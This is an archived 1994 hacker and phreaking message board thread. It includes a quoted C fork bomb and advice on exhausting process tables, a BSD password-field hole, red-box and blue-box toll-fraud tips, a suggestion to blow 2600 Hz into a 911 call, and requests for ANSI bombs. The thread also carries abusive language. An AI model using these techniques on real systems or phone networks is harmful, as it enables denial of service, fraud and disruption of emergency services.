Linux comes with some open holes you should fix. Either as an exercise to
|
|
the readers, or ask if you want to know some of 'em...
|
|
|
|
For example, the SLS dist I originally used had /usr/lib world writable...
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|
-Panzer
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From cosmos@yabbs Mon Jan 31 18:50:40 1994
|
|
From: cosmos@yabbs
|
|
To: Fastjack@yabbs
|
|
Subject: re: A nifty little C program...
|
|
Date: Mon Jan 31 18:50:40 1994
|
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|
Did I say I wrote it dipshit??? No, it just caught my eye and I rather
|
|
enjoyed it. I do admin numnuts. Nuff said.
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|
Cosmos
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|
|
From htoaster@yabbs Mon Jan 31 20:21:08 1994
|
|
From: htoaster@yabbs
|
|
To: panzer@yabbs
|
|
Subject: holes in free systems
|
|
Date: Mon Jan 31 20:21:08 1994
|
|
|
|
All systems come with holes. While people are mentioning them in linux,
|
|
here is a pretty big one in any of the BSDs. If people install the system
|
|
but never install the crypted password stuff (it is a seperate package
|
|
due to export restrictions, but trivial to install) it doesn't encrypt using
|
|
any method in /etc/passwd.master (the shadow file). So if the account is
|
|
*'ed out to make it not loginable you can just type * in the password
|
|
field...
|
|
|
|
most people use the security stuff though...
|
|
|
|
alex
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From JasonLee@yabbs Mon Jan 31 21:13:00 1994
|
|
From: JasonLee@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: A nifty little C program...
|
|
Date: Mon Jan 31 21:13:00 1994
|
|
|
|
COsmos said:
|
|
Here's something for a fun day on your local UNIX system,...
|
|
|
|
main()
|
|
{
|
|
for(;;)
|
|
{
|
|
malloc(1000);
|
|
fork();
|
|
}
|
|
}
|
|
|
|
-----------------------------
|
|
|
|
Well, the only problem with that is that on a decent, semi-secure system
|
|
luck the one I'm unfortunate enough to have an account on, there's a
|
|
process limit. Yes, I can only have something like 40 processes running
|
|
at the same time. The only one that would screw over is me, since it
|
|
would waste the CPU time I'm allowed.
|
|
|
|
JasonLee
|
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|
|
From htoaster@yabbs Mon Jan 31 22:12:59 1994
|
|
From: htoaster@yabbs
|
|
To: JasonLee@yabbs
|
|
Subject: re: A nifty little C program...
|
|
Date: Mon Jan 31 22:12:59 1994
|
|
|
|
In message re: A nifty little C program..., JasonLee said:
|
|
> Well, the only problem with that is that on a decent, semi-secure system
|
|
> luck the one I'm unfortunate enough to have an account on, there's a
|
|
> process limit. Yes, I can only have something like 40 processes running
|
|
> at the same time.
|
|
|
|
Have you played around with unlimit. You may be able to get more than
|
|
40 processes but 40 is the softlimit set by default or whatever...
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|
alex
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From abort@yabbs Mon Jan 31 22:13:35 1994
|
|
From: abort@yabbs
|
|
To: Fastjack@yabbs
|
|
Subject: re: A nifty little C program...
|
|
Date: Mon Jan 31 22:13:35 1994
|
|
|
|
haha, you had to bust on someone hahahahahahhaahhahahaha
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|
|
fuck off
|
|
hahahaha
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wake up and taste reality, noone reads alt.hackers anymore, noone cares
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where cosmos got that, noone gives a shit wether someones a lamer or not
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BUT YES, adminning is one hell of a way to learn shit.
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From PHreedOm@yabbs Tue Feb 1 06:18:47 1994
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From: PHreedOm@yabbs
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To: all@yabbs
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Subject: 2600
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Date: Tue Feb 1 06:18:47 1994
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hello
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do you know a site internet that has the '2600' magazine?
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thank
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bye
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PHreedOm
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From cosmos@yabbs Tue Feb 1 08:09:28 1994
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From: cosmos@yabbs
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To: PHreedOm@yabbs
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Subject: re: 2600
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Date: Tue Feb 1 08:09:28 1994
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its harcopy. shell out $4.00 or whatever it costs and get it. good luck
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finding a store with it. Tower records on Clark in Chicago has em...
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Cosmos
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From PHreedOm@yabbs Tue Feb 1 08:53:26 1994
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From: PHreedOm@yabbs
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To: cosmos@yabbs
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Subject: re: 2600
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Date: Tue Feb 1 08:53:26 1994
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thanks
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bye
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PHreedOm
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From cosmos@yabbs Tue Feb 1 18:11:46 1994
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From: cosmos@yabbs
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To: arachnoi@yabbs
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Subject: re: Needs
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Date: Tue Feb 1 18:11:46 1994
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Whats your reason for asking?? No, I am not the admin on mcs.com but I am
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friends with karl denninger the sysadmin there. Have a beef with the
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system??
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Cosmos
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From Fastjack@yabbs Tue Feb 1 19:02:56 1994
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From: Fastjack@yabbs
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To: cosmos@yabbs
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Subject: re: A nifty little C program...
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Date: Tue Feb 1 19:02:56 1994
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Okay cosmos...
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No harm done.....
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I was just hoping for something besides a little fork program that any
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competent C programmer could whip off in 2 seconds (again, literally).
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And yeah, you didn't say you wrote it....
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Besides being a cool joke, it accomplishes little besides denial of
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service to the target machine, obviously.
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Now that we have that out of the way, anybody have any thoughts on how to
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take out a VAX without going root? [or whatever they have] I'm not very
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fond of VMS at all, but the sheer numbers in use make it nice to know a
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few things...
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Fastjack
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From Fastjack@yabbs Tue Feb 1 19:08:43 1994
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From: Fastjack@yabbs
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To: abort@yabbs
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Subject: re: A nifty little C program...
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Date: Tue Feb 1 19:08:43 1994
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Yeah, no one cares where cosmos got it.
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But 'no one reads alt.hackers anymore? C'mon.
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It aint alt.2600 or alt.forgery but learning the system, what is possible,
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and past hacks is the way to go about it. Maybe the group is old and
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getting stale, but now that all the clueless masses regularly post 'how to
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post to alt.hackers' msgs, but it sure beats a bunch of the cluless masses
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sitting around exchanging C progs that they don't understand and asking
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for accounts/GODs/whathaveyou....
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Fastjack
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From abort@yabbs Tue Feb 1 19:12:57 1994
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From: abort@yabbs
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To: Fastjack@yabbs
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Subject: re: A nifty little C program...
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Date: Tue Feb 1 19:12:57 1994
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HEY, I have guys ask me for accounts all the time. And I get this one
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too.
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"hey man, how can I change my grades?"
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and
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"Tell me how to hack root"
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and
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"How can I blow up my system"
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hahaha a million miles away and still smelling them.
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The best one I have ever seen anywhere is
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"what's a soldering iron"
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From cosmos@yabbs Tue Feb 1 20:35:02 1994
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From: cosmos@yabbs
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To: arachnoi@yabbs
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Subject: re: Needs
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Date: Tue Feb 1 20:35:02 1994
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I tripped across a sniffer?? Mail me private in more detail, I want to
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hear this...
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I know we got some lamer using .rhosts about a week ago but I havent heard
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about a sniffer...I ll have to talk to Karl about this.
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Cosmos
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From cosmos@yabbs Tue Feb 1 20:38:05 1994
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From: cosmos@yabbs
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To: abort@yabbs
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Subject: re: A nifty little C program...
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Date: Tue Feb 1 20:38:05 1994
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No, my personal favourite is: 6.5 mhz whats that? or so do I drop the
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6.5 crystal in the quarter slot?
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Honest to God, that last one is 100% real...quoted at a chicago 2600
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meeting last year.
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Cosmos
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From dmonger@yabbs Tue Feb 1 22:02:37 1994
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From: dmonger@yabbs
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To: cosmos@yabbs
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Subject: re: A nifty little C program...
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Date: Tue Feb 1 22:02:37 1994
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I forgot to put the malloc call in when I wrote it several years ago.
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running across campus at 2:00 am to reboot a DECstation in your
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school library is cool....
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-p
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From paradox@yabbs Wed Feb 2 13:45:41 1994
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From: paradox@yabbs
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To: cosmos@yabbs
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Subject: re: A nifty little C program...
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Date: Wed Feb 2 13:45:41 1994
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Hey man... at the last 2600 meet there was a lamer who just came so he
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could get plans for a red box... that's all. Everybody just smiled and
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ignored him though... where to people hear about these meetings?
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Eventually somebody will catch on and try something stupid if we aren't
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careful
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From Fastjack@yabbs Wed Feb 2 16:24:47 1994
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From: Fastjack@yabbs
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To: all@yabbs
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Subject: re: A nifty little C program...
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Date: Wed Feb 2 16:24:47 1994
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At any rate, I prefer not to allocate the memory.....
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That just causes the systen to swap out, and slows it down....when I want
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to bring it down, I just fill the process table...
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FJ
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From tknight@yabbs Wed Feb 2 20:59:45 1994
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From: tknight@yabbs
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To: all@yabbs
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Subject: ......
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Date: Wed Feb 2 20:59:45 1994
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Today i went out and bought a tone dialer. I had to get the type with no
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memory,because they we're all out of the others(i know they cancelled
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them) But i can't figure out any reason icouldn't make a redbox out of
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this one. I would just have to press the star button manually for each
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nickel.
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My question is,HOW DO IGET THE BACK COVER OFF???
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the damn thing has no screws or anything.
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help
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tknight
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From binkley@yabbs Wed Feb 2 23:39:09 1994
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From: binkley@yabbs
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To: paradox@yabbs
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Subject: re: A nifty little C program...
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Date: Wed Feb 2 23:39:09 1994
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Ya, I was at the last 26'th meeting, what time did you show up?? I was on
|
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from begining tiull like 1:20PM l8r
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binkley
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From JasonLee@yabbs Wed Feb 2 23:41:20 1994
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From: JasonLee@yabbs
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To: tknight@yabbs
|
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Subject: re: ......
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Date: Wed Feb 2 23:41:20 1994
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That was probably a bad idea getting the non-memory version. The timing
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of the beeps has to be within a certain range (something like +/- .42
|
|
msec) for the sound to work. I don't know where the screws are, but good
|
|
luck.
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|
|
JasonLee
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From cosmos@yabbs Thu Feb 3 05:16:04 1994
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From: cosmos@yabbs
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To: tknight@yabbs
|
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Subject: re: ......
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Date: Thu Feb 3 05:16:04 1994
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HAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA!!!
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|
|
Listen, I am so tempted to rip you apart for this, but oh well.
|
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|
|
Maybe you should have read a little more about a redbox or asked a few
|
|
more questions before you wasted your money.
|
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|
|
You CANNOT MAKE A REDBOX FROM THE NON-MEMORY DIALER. Perdiod, amen.
|
|
|
|
Their is no goddamn way you can manually hit the keys at the exact timing
|
|
for the required tone...get a memory dialer and program the priority keys
|
|
for 5 *'s
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|
|
heh.
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|
Cosmos
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From jcjc@yabbs Thu Feb 3 06:23:13 1994
|
|
From: jcjc@yabbs
|
|
To: @yabbs
|
|
Subject: re: A nifty little C program...
|
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Date: Thu Feb 3 06:23:13 1994
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jajaja, red boxing .. how lame, - go to Cellular!! dammit
|
|
anyways, oki 900 - and assembler, and yer set.. Hasta
|
|
Call Backwarding
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From jcjc@yabbs Thu Feb 3 06:26:51 1994
|
|
From: jcjc@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: red boxxxxxings lame
|
|
Date: Thu Feb 3 06:26:51 1994
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|
damm, why does anyone give a shit about red boxing, when you can blue box
|
|
off chile, el salvador, China, and so on, just scan for routing codes..
|
|
hey, what up with Celllular, .. forget red boxing. too fucking lame
|
|
hhaa,
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|
Hasta
|
|
--=Call Backwarding=000
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From SamIam@yabbs Thu Feb 3 10:05:19 1994
|
|
From: SamIam@yabbs
|
|
To: tknight@yabbs
|
|
Subject: re: ......
|
|
Date: Thu Feb 3 10:05:19 1994
|
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|
|
Sure you can time your punches to 35ms? I think NOT!
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From htoaster@yabbs Thu Feb 3 10:16:37 1994
|
|
From: htoaster@yabbs
|
|
To: all@yabbs
|
|
Subject: redboxing
|
|
Date: Thu Feb 3 10:16:37 1994
|
|
|
|
the radio shack dialer plays the codes way slow as well, compared to what
|
|
they really sound like. If you want to compare them in a nice and easy way
|
|
find a payfone that doesn't mute the handset when you drop quarters in
|
|
(lots of handsets still don't), tape the quarter tone, digitize it, and then
|
|
digitize your redbox. Put one on the left channel and one on the right
|
|
channel. Pretty big difference in speed, and the freqs are a little off
|
|
as well if you us a 6.5535 crystal (6.5 is better, 6.4xxx something is
|
|
supposed to be the best).
|
|
|
|
All of this redbox stuff is quite lame though. You aren't learning about
|
|
the system, just abusing it for your own personal benefit. They might have
|
|
been cool a few years ago, but who cares these days. Is it really that big
|
|
of a deal to pay a few dollars for ld calls...
|
|
|
|
If you really want a cool box look at the Hacktic demon dialer. I saw the
|
|
one that the 2600 people own a few years ago. Pretty impressive. And they
|
|
claim it can be put into a very small case (about the size of a memory
|
|
dialer, maybe smaller). Lets you pretty much program any two channel (or
|
|
maybe more) sound you want, set them up for hotkeys, has a access code you
|
|
need to type in to get to the fun stuff (otherwise it is just a dtmf
|
|
player). expensive though...
|
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|
|
alex
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|
From Phain@yabbs Thu Feb 3 13:35:04 1994
|
|
From: Phain@yabbs
|
|
To: all@yabbs
|
|
Subject: Pirate Radio?
|
|
Date: Thu Feb 3 13:35:04 1994
|
|
|
|
|
|
Greetings, all .
|
|
I was curious if anyone out there knew where I could locate
|
|
a phile or two about the setup of a pirate radio station . The
|
|
only refrence I've found was from a 'zine called Magick, and the
|
|
info was questionable .
|
|
I'm a mass comm major at a school with no attitude . We have
|
|
the equipment for a station, but we can't get funding for a licence.
|
|
Even if we did, the heads of the department would squash free thought.
|
|
I've got a group of people who want to invest the time involved . We
|
|
just need the info .
|
|
I've been all over the 'Net looking for info, but the kinds of
|
|
things usually listed under "radio" just don't cut it .
|
|
Thanx,
|
|
Phain.
|
|
|
|
"Information wants to be free"
|
|
-Bruce Sterling
|
|
|
|
From paradox@yabbs Thu Feb 3 14:34:02 1994
|
|
From: paradox@yabbs
|
|
To: binkley@yabbs
|
|
Subject: re: A nifty little C program...
|
|
Date: Thu Feb 3 14:34:02 1994
|
|
|
|
The one in philly? I was there from like 6 till 9....
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|
|
From hawkwind@yabbs Thu Feb 3 15:28:24 1994
|
|
From: hawkwind@yabbs
|
|
To: jcjc@yabbs
|
|
Subject: re: red boxxxxxings lame
|
|
Date: Thu Feb 3 15:28:24 1994
|
|
|
|
Ok, so you suggest blue boxing off the trunk into another country..
|
|
*Great* --but how do you stop ole mother ESS's filter alarms going off
|
|
like a cat out of hell?
|
|
--and don't give me any of this pink-noise above 3000Hz stuff..
|
|
|
|
Any ideas?
|
|
Hawk.
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|
|
From arachnoi@yabbs Thu Feb 3 16:22:47 1994
|
|
From: arachnoi@yabbs
|
|
To: hawkwind@yabbs
|
|
Subject: Officer Down
|
|
Date: Thu Feb 3 16:22:47 1994
|
|
|
|
Want to have some phun? 911 is a tandum to the local CO. dial 911 , yell
|
|
officer down and blow 2600 HZ Heheheheh
|
|
|
|
From hawkwind@yabbs Thu Feb 3 18:52:20 1994
|
|
From: hawkwind@yabbs
|
|
To: arachnoi@yabbs
|
|
Subject: re: Officer Down
|
|
Date: Thu Feb 3 18:52:20 1994
|
|
|
|
Now if only I was located in the US... still I reckon I might
|
|
just be able to find a way onto the US 911 tandum.. ;-)
|
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|
|
From cosmos@yabbs Thu Feb 3 19:32:23 1994
|
|
From: cosmos@yabbs
|
|
To: all@yabbs
|
|
Subject: #hack = #phreak
|
|
Date: Thu Feb 3 19:32:23 1994
|
|
|
|
|
|
SO when did this forum become the phreaking forum?? Pffft...mister
|
|
bluebox over there I aint buying your load of crap.
|
|
|
|
Cosmos
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|
|
|
From JasonLee@yabbs Thu Feb 3 21:11:50 1994
|
|
From: JasonLee@yabbs
|
|
To: htoaster@yabbs
|
|
Subject: re: redboxing
|
|
Date: Thu Feb 3 21:11:50 1994
|
|
|
|
There is also a program for DOS + sound blaster called BlueBeep which will
|
|
mix and match tones at whatever frequency you desire. What I'm planning
|
|
to do is to buy one of those talking Hallmark cards, take it apart, then
|
|
record the red box sound onto the device. It may just be abusing the
|
|
system, but I can't afford LD calls. Oh well....
|
|
|
|
JasonLee
|
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|
|
From hello@yabbs Thu Feb 3 23:19:37 1994
|
|
From: hello@yabbs
|
|
To: Phain@yabbs
|
|
Subject: re: Pirate Radio?
|
|
Date: Thu Feb 3 23:19:37 1994
|
|
|
|
Dear Phain:
|
|
I have some stuff you may be interested in. check in @)mail
|
|
|
|
From cosmos@yabbs Fri Feb 4 06:00:14 1994
|
|
From: cosmos@yabbs
|
|
To: JasonLee@yabbs
|
|
Subject: re: redboxing
|
|
Date: Fri Feb 4 06:00:14 1994
|
|
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|
When you care enough to cheat the very best...
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|
Cosmos
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From PHreedOm@yabbs Fri Feb 4 10:01:03 1994
|
|
From: PHreedOm@yabbs
|
|
To: JasonLee@yabbs
|
|
Subject: re: redboxing
|
|
Date: Fri Feb 4 10:01:03 1994
|
|
|
|
Have you more infos about BlueBeep?
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|
|
|
Bye
|
|
PHreedOm
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|
|
|
From Fastjack@yabbs Fri Feb 4 11:33:06 1994
|
|
From: Fastjack@yabbs
|
|
To: PHreedOm@yabbs
|
|
Subject: re: redboxing
|
|
Date: Fri Feb 4 11:33:06 1994
|
|
|
|
Hey---
|
|
The version of BlueBeep I have is <?> 007. I got it from an ftp site
|
|
[I'll have to look it up]....haven't used it yet but it seems to be a very
|
|
interesting program, by the docs...
|
|
You may also be interested in a program called ToneLoc. The newest
|
|
version I know of is .98 Beta 10....supposed to be the best scanner
|
|
program made...
|
|
If anyone knows where to find a copy of CodeThief to complete my
|
|
collection, let me know...
|
|
|
|
Fastjack
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|
|
From JasonLee@yabbs Fri Feb 4 16:29:50 1994
|
|
From: JasonLee@yabbs
|
|
To: PHreedOm@yabbs
|
|
Subject: re: redboxing
|
|
Date: Fri Feb 4 16:29:50 1994
|
|
|
|
What more do you need to know?
|
|
|
|
JasonLee
|
|
|
|
From alung@yabbs Fri Feb 4 16:37:21 1994
|
|
From: alung@yabbs
|
|
To: PHreedOm@yabbs
|
|
Subject: re: 2600
|
|
Date: Fri Feb 4 16:37:21 1994
|
|
|
|
some Barnes & Noble bookstores also carry it
|
|
don't be affraid to ask at the info tesk, they can get it.
|
|
|
|
From Bolus@yabbs Fri Feb 4 18:35:27 1994
|
|
From: Bolus@yabbs
|
|
To: all@yabbs
|
|
Subject: RedBox..
|
|
Date: Fri Feb 4 18:35:27 1994
|
|
|
|
Does this red box stuff really work? I remember this program I had for
|
|
the C64 when I was 14 called PhoneMan. It supposedly made legit quarter
|
|
tones. I taped the tones, ran to the phonebooth and blasted them thru the
|
|
handset. Nothing happened. Is the red box usable on all pphone
|
|
system or was this program a piece of crap. It was on the 64..?
|
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|
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|
|
From binkley@yabbs Fri Feb 4 23:18:06 1994
|
|
From: binkley@yabbs
|
|
To: all@yabbs
|
|
Subject: Bluebox.
|
|
Date: Fri Feb 4 23:18:06 1994
|
|
|
|
I has a sound board, and 2 different blue box programs... They were all a
|
|
little bit off. Even the touch tone tones, wouldn't work. I taped the
|
|
whole thing on a mini-corder, and blasted them, but it didn't work...
|
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|
|
From cosmos@yabbs Sat Feb 5 14:26:33 1994
|
|
From: cosmos@yabbs
|
|
To: Bolus@yabbs
|
|
Subject: re: RedBox..
|
|
Date: Sat Feb 5 14:26:33 1994
|
|
|
|
Its been forever since I have used it but yes, it still works on LONG
|
|
DISTANCE ATT calls. If you want to dial local you would have to use the
|
|
10att+acn to use it.
|
|
|
|
Cosmos
|
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|
|
From amadeus@yabbs Sat Feb 5 15:12:11 1994
|
|
From: amadeus@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: 6.5 chrystals
|
|
Date: Sat Feb 5 15:12:11 1994
|
|
|
|
so lemme get this straight...youtake the crystal and put it in the slot,
|
|
and then it makes these 5 little beeps and it gives you a quarters
|
|
credit?? gee, that seems 2 easy!
|
|
-----------I was sooooo lame when I first got a redbox...
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From amadeus@yabbs Sat Feb 5 15:16:48 1994
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From: amadeus@yabbs
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To: tknight@yabbs
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Subject: redboxing w/ a nomem tone d
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Date: Sat Feb 5 15:16:48 1994
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with the cover, you're gonna have to pry it open...but I _strongly_ advise
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against useing one with no memory, cauz it's gonna take you a *long* time
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to enter a 1.30$ when you're useing nickels... oh, and don't forget to use
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10288!
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From amadeus@yabbs Sat Feb 5 15:19:57 1994
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From: amadeus@yabbs
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To: tknight@yabbs
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Subject: re: ......
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Date: Sat Feb 5 15:19:57 1994
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I have a better suggestion if you _really_ want to redbox...why don't you
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get the VOC format of a 25 cent tone being entered, then record it onto
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tape?? I have it, so email green@m-net.ann-arbor.mi.us if you wnat it!
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From amadeus@yabbs Sat Feb 5 15:23:54 1994
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From: amadeus@yabbs
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To: Phain@yabbs
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Subject: re: Pirate Radio?
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Date: Sat Feb 5 15:23:54 1994
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under current FCC regs, a fadio station isn't considered pirtae unless it
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broadcasts more than 5 mile radius for more than 3 hours a day... if you
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keep it under taht, you can have your station withouth teh fedz trying to
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triangulate you...I'll look around for some ideas for ya.
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From tknight@yabbs Sat Feb 5 17:20:06 1994
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From: tknight@yabbs
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To: all@yabbs
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Subject: ....
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Date: Sat Feb 5 17:20:06 1994
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sorry about that little redbox question..i'm not that stupid..i just
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missed the bluebox age and all....
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i'm more intrested in learning about the phone sytem anyways..
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i finally pried myself of my computer last night and went canning..didnt
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do any beige boxing..was just mosooking for weird shit..
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found a sticker that says all information on this trunk is in the cosmos
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database..and igot some routing information..
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no manuals or handsets but i dont really expect to get any out of a can...
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ANyways,has anyone heard of DunsNet...
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When you connect it says dunsnet and then they're running the same
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networking shit as telenet(no iwont call it sprintnet,ever!)
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the dnic is the same also but it wouldn't let me connect to anything..
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some one said this might be like gte net in california but ihavent found
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any valid addresses..
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Sorry about the spaces between lines,net lag sucks.
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tknight
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From cosmos@yabbs Sat Feb 5 17:31:10 1994
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From: cosmos@yabbs
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To: amadeus@yabbs
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Subject: re: 6.5 chrystals
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Date: Sat Feb 5 17:31:10 1994
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I wish I had a dictionary to explain sarcasm in my posts...sheesh.
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Cosmos
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From CB@yabbs Sun Feb 6 12:23:07 1994
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From: CB@yabbs
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To: amadeus@yabbs
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Subject: re: redboxing w/ a nomem tone d
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Date: Sun Feb 6 12:23:07 1994
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I was wondering what you mean by the nickles. Some RBOCS change the tone
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values around. But I don't see where this matters whether you use the
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memory dialer or not.
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Brinx
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From zenamako@yabbs Mon Feb 7 00:45:22 1994
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From: zenamako@yabbs
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To: Fastjack@yabbs
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Subject: re: redboxing
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Date: Mon Feb 7 00:45:22 1994
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In message re: redboxing, Fastjack said:
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> If anyone knows where to find a copy of CodeThief to complete my
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hmm, i have codethief 2.5...but it's pretty lame.. go for toneloc.. prolly the best scanner at the moment.. umm.. codethief is basically just an oldish scanner.. without the bells and whistles.. i *think* it scans more than just phone numb
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zen
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From DrClaw@yabbs Mon Feb 7 01:07:18 1994
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From: DrClaw@yabbs
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To: all@yabbs
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Subject: internet breakings
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Date: Mon Feb 7 01:07:18 1994
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What do you people think about the new cert advisories?
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Shit someone out there really is sitting pretty about now...
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if you haven't read it i would highly suggest reading it..
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hasta.
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Dr_Claw
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From cosmos@yabbs Mon Feb 7 06:04:36 1994
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From: cosmos@yabbs
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To: DrClaw@yabbs
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Subject: re: internet breakings
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Date: Mon Feb 7 06:04:36 1994
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CERT?? Pfft.
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Once again the mentally challenged CERT team has whipped up frenzy among
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net users and terrified sysadmins everywhere with their latest *warning*.
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Basically, it's PANIX reborn. Like usual, the warning is "hey everyone
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there are nast uebercrackers using the same bugs that were used before
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that we never bothered to tell you how to fix--just warning you again
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folks!"
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For the admin that has plenty of time and resources this problem was fixed
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at their own hands before. But not all admins have plenty of time or
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expertise to patch source code and to fix all the holes that CERT wont
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tell them how to fix. Some poor admin running10 machines and half of a
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university computer science department isnt going to have the resources to
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do this.
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pity.
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Cosmos
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From PHreedOm@yabbs Mon Feb 7 06:30:26 1994
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From: PHreedOm@yabbs
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To: JasonLee@yabbs
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Subject: re: redboxing
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Date: Mon Feb 7 06:30:26 1994
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I need to know a site ftp that has the program BlueBeep
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bye
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PHreedOm
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From Phain@yabbs Mon Feb 7 10:04:19 1994
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From: Phain@yabbs
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To: amadeus@yabbs
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Subject: re: Pirate Radio?
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Date: Mon Feb 7 10:04:19 1994
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On de FCC laws, is it either 5 mile radius, or 3 hours ? Could I
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broadcast for 8 hours with a one mile radius and the fedz not care?
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Thanx,
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Phain .
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From xenon@yabbs Mon Feb 7 15:01:29 1994
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From: xenon@yabbs
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To: Phain@yabbs
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Subject: re: Pirate Radio?
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Date: Mon Feb 7 15:01:29 1994
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In message re: Pirate Radio?, Phain said:
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> On de FCC laws, is it either 5 mile radius, or 3 hours ? Could I
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> broadcast for 8 hours with a one mile radius and the fedz not care?
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You can broadcast all you want w/o a license for a 1 mile radius. I forget the
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specific wattages off-hand...
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From DrClaw@yabbs Mon Feb 7 22:57:40 1994
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From: DrClaw@yabbs
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To: all@yabbs
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Subject: ansi bombs wanted
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Date: Mon Feb 7 22:57:40 1994
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ok this is a really stupid request ...but can anyone send me some text on
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how to make ansi bombs or actualy send me some for both the macintosh and
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pc....i would really appreciate it....
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please mail an60249@anon.penet.fi
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thanks....
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From Jeremiah@yabbs Wed Feb 9 12:32:08 1994
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From: Jeremiah@yabbs
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To: DrClaw@yabbs
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Subject: re: ansi bombs wanted
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Date: Wed Feb 9 12:32:08 1994
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I have a program that supposedly writes Ansi Bombs... I never really
|
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checked it out... Tell me how I can get it to you, and we can arrange a
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file transfer....
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From Fastjack@yabbs Wed Feb 9 21:00:22 1994
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From: Fastjack@yabbs
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To: PHreedOm@yabbs
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Subject: re: redboxing
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Date: Wed Feb 9 21:00:22 1994
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OK....
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I don't know the site, but archie for
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'bbeep007'. When I got it, it was in an incoming
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|
directory somewhere, so it might not show up....
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FJ
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From CB@yabbs Wed Feb 9 23:32:59 1994
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From: CB@yabbs
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To: Jeremiah@yabbs
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Subject: re: ansi bombs wanted
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Date: Wed Feb 9 23:32:59 1994
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I would like this program. If you could, UUencode it, then mail it to
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erstaz@axposf.pa.dec.com
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Thanks alot. Greatly appreciated.
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Brinx
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From NJDEVIL@yabbs Thu Feb 10 09:12:38 1994
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From: NJDEVIL@yabbs
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To: cosmos@yabbs
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Subject: Trojan horse
|
|
Date: Thu Feb 10 09:12:38 1994
|
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|
|
Cos, what's a trojan horse program? Is there any defense against
|
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it? My home sys is being penetrated and some of us are getting annoyed.
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any comments?
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|
NJDEVIL
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From PHreedOm@yabbs Thu Feb 10 12:18:49 1994
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From: PHreedOm@yabbs
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To: Fastjack@yabbs
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Subject: re: redboxing
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Date: Thu Feb 10 12:18:49 1994
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thanks for the infoz. Now I'm finding the program .
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bye
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PHreedOm
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From Gnarr@yabbs Thu Feb 10 21:40:00 1994
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From: Gnarr@yabbs
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To: all@yabbs
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Subject: Just curoius.....
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Date: Thu Feb 10 21:40:00 1994
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I was wondering if anyonek knew how to hack Muses or would like to help me
|
|
out a little bit by showing me some stuff about Hacking? THis may sound
|
|
stupid to some people but I have just been itching to get this one Muse
|
|
bad for screwing me up BIG TIME and I don't know too much about Hacking.
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From Dprogram@yabbs Fri Feb 11 00:39:44 1994
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From: Dprogram@yabbs
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To: Fastjack@yabbs
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Subject: re: redboxing
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Date: Fri Feb 11 00:39:44 1994
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I haven't run it yet, but I have found "beep7.zip" in the /incoming
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|
directory of cypher.com.
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From cosmos@yabbs Fri Feb 11 07:12:03 1994
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From: cosmos@yabbs
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|
To: NJDEVIL@yabbs
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Subject: re: Trojan horse
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Date: Fri Feb 11 07:12:03 1994
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SImply put, its like the story. A seemingly benign program that achieves
|
|
nasty results. Like a modified ls put in your directory that instead of
|
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listing files deletes them.
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|
Cosmos
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From Jeremiah@yabbs Fri Feb 11 16:10:21 1994
|
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From: Jeremiah@yabbs
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|
To: CB@yabbs
|
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Subject: re: ansi bombs wanted
|
|
Date: Fri Feb 11 16:10:21 1994
|
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I have no idea how to do that, since I'm new to the net, so if you could
|
|
send me detailed information on how to set up everythinh and I'll me happy
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|
to.
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From Jeremiah@yabbs Fri Feb 11 16:12:49 1994
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|
From: Jeremiah@yabbs
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|
To: all@yabbs
|
|
Subject: Information
|
|
Date: Fri Feb 11 16:12:49 1994
|
|
|
|
Could someone out there recommend GOOD, informative
|
|
hacking/phreaking/etc. E-Magz out there? I'm interested in things from
|
|
Novice through Advanced.... Thanx
|
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|
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From Gnarr@yabbs Fri Feb 11 22:30:27 1994
|
|
From: Gnarr@yabbs
|
|
To: all@yabbs
|
|
Subject: hacking...
|
|
Date: Fri Feb 11 22:30:27 1994
|
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Hi! i really want to get back at this shitty muse that really FUCKED me
|
|
up! I would just love to really mess htem up somehow. Problem is I know
|
|
nothing about hacking whatsoever and the only thing remotely hacking like
|
|
is getting lucky and guessing some guuys password on a Mud. I'd
|
|
appreciate it if somone would maybe help me out a bit?
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++++++++++++++++++++++++++++
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GnaRR
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++++++++++++++++++++++++++++++
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From Gnarr@yabbs Fri Feb 11 22:31:28 1994
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From: Gnarr@yabbs
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|
To: all@yabbs
|
|
Subject: re: hacking...
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|
Date: Fri Feb 11 22:31:28 1994
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I mean the only thing I've done is guess a password.
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From cosmos@yabbs Sat Feb 12 14:20:23 1994
|
|
From: cosmos@yabbs
|
|
To: Gnarr@yabbs
|
|
Subject: re: hacking...
|
|
Date: Sat Feb 12 14:20:23 1994
|
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|
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You call crashing a MUSE hacking?? Get the fuck out of here and get a
|
|
goddamn clue.
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Cosmos
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|
(whos grumpier than usual)
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From Gnarr@yabbs Sat Feb 12 14:50:18 1994
|
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From: Gnarr@yabbs
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|
To: cosmos@yabbs
|
|
Subject: re: hacking...
|
|
Date: Sat Feb 12 14:50:18 1994
|
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Listen Asswipe. I said I knew very little about hacking. It was obvious by
|
|
my message and I don't need a littel fuck like you telling me that I
|
|
don't know anything cause I know that. All I did was ask for some help,
|
|
and I didn't need a motherfucking shithead to do this to me.
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|
Gnarr
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|
(WHo ain't to pleased himself)/s
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From paradox@yabbs Sat Feb 12 15:44:13 1994
|
|
From: paradox@yabbs
|
|
To: all@yabbs
|
|
Subject: re: hacking...
|
|
Date: Sat Feb 12 15:44:13 1994
|
|
|
|
Am I the only one who's noticed that ftp.eff.org /pub/CuD has NOTHING in
|
|
it?
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From htoaster@yabbs Sat Feb 12 16:09:18 1994
|
|
From: htoaster@yabbs
|
|
To: paradox@yabbs
|
|
Subject: re: hacking...
|
|
Date: Sat Feb 12 16:09:18 1994
|
|
|
|
In message re: hacking..., paradox said:
|
|
> Am I the only one who's noticed that ftp.eff.org /pub/CuD has NOTHING in
|
|
> it?
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ftp etext.archive.umich.edu...
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or use gopher from here and look through all of their stuff....mondo
|
|
text files
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|
|
alex
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From Xela@yabbs Sat Feb 12 16:33:48 1994
|
|
From: Xela@yabbs
|
|
To: paradox@yabbs
|
|
Subject: CuD
|
|
Date: Sat Feb 12 16:33:48 1994
|
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|
I think EFF got tired of all the traffic so they don't shadow any stuff
|
|
anymore.
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Try FTPing 141.211.164.18, /pub/CuD/cud
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Have a better one...
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Xela
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From cosmos@yabbs Sat Feb 12 18:37:14 1994
|
|
From: cosmos@yabbs
|
|
To: Gnarr@yabbs
|
|
Subject: re: hacking...
|
|
Date: Sat Feb 12 18:37:14 1994
|
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|
*SIGH* Still clueless,,,
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|
Cosmos
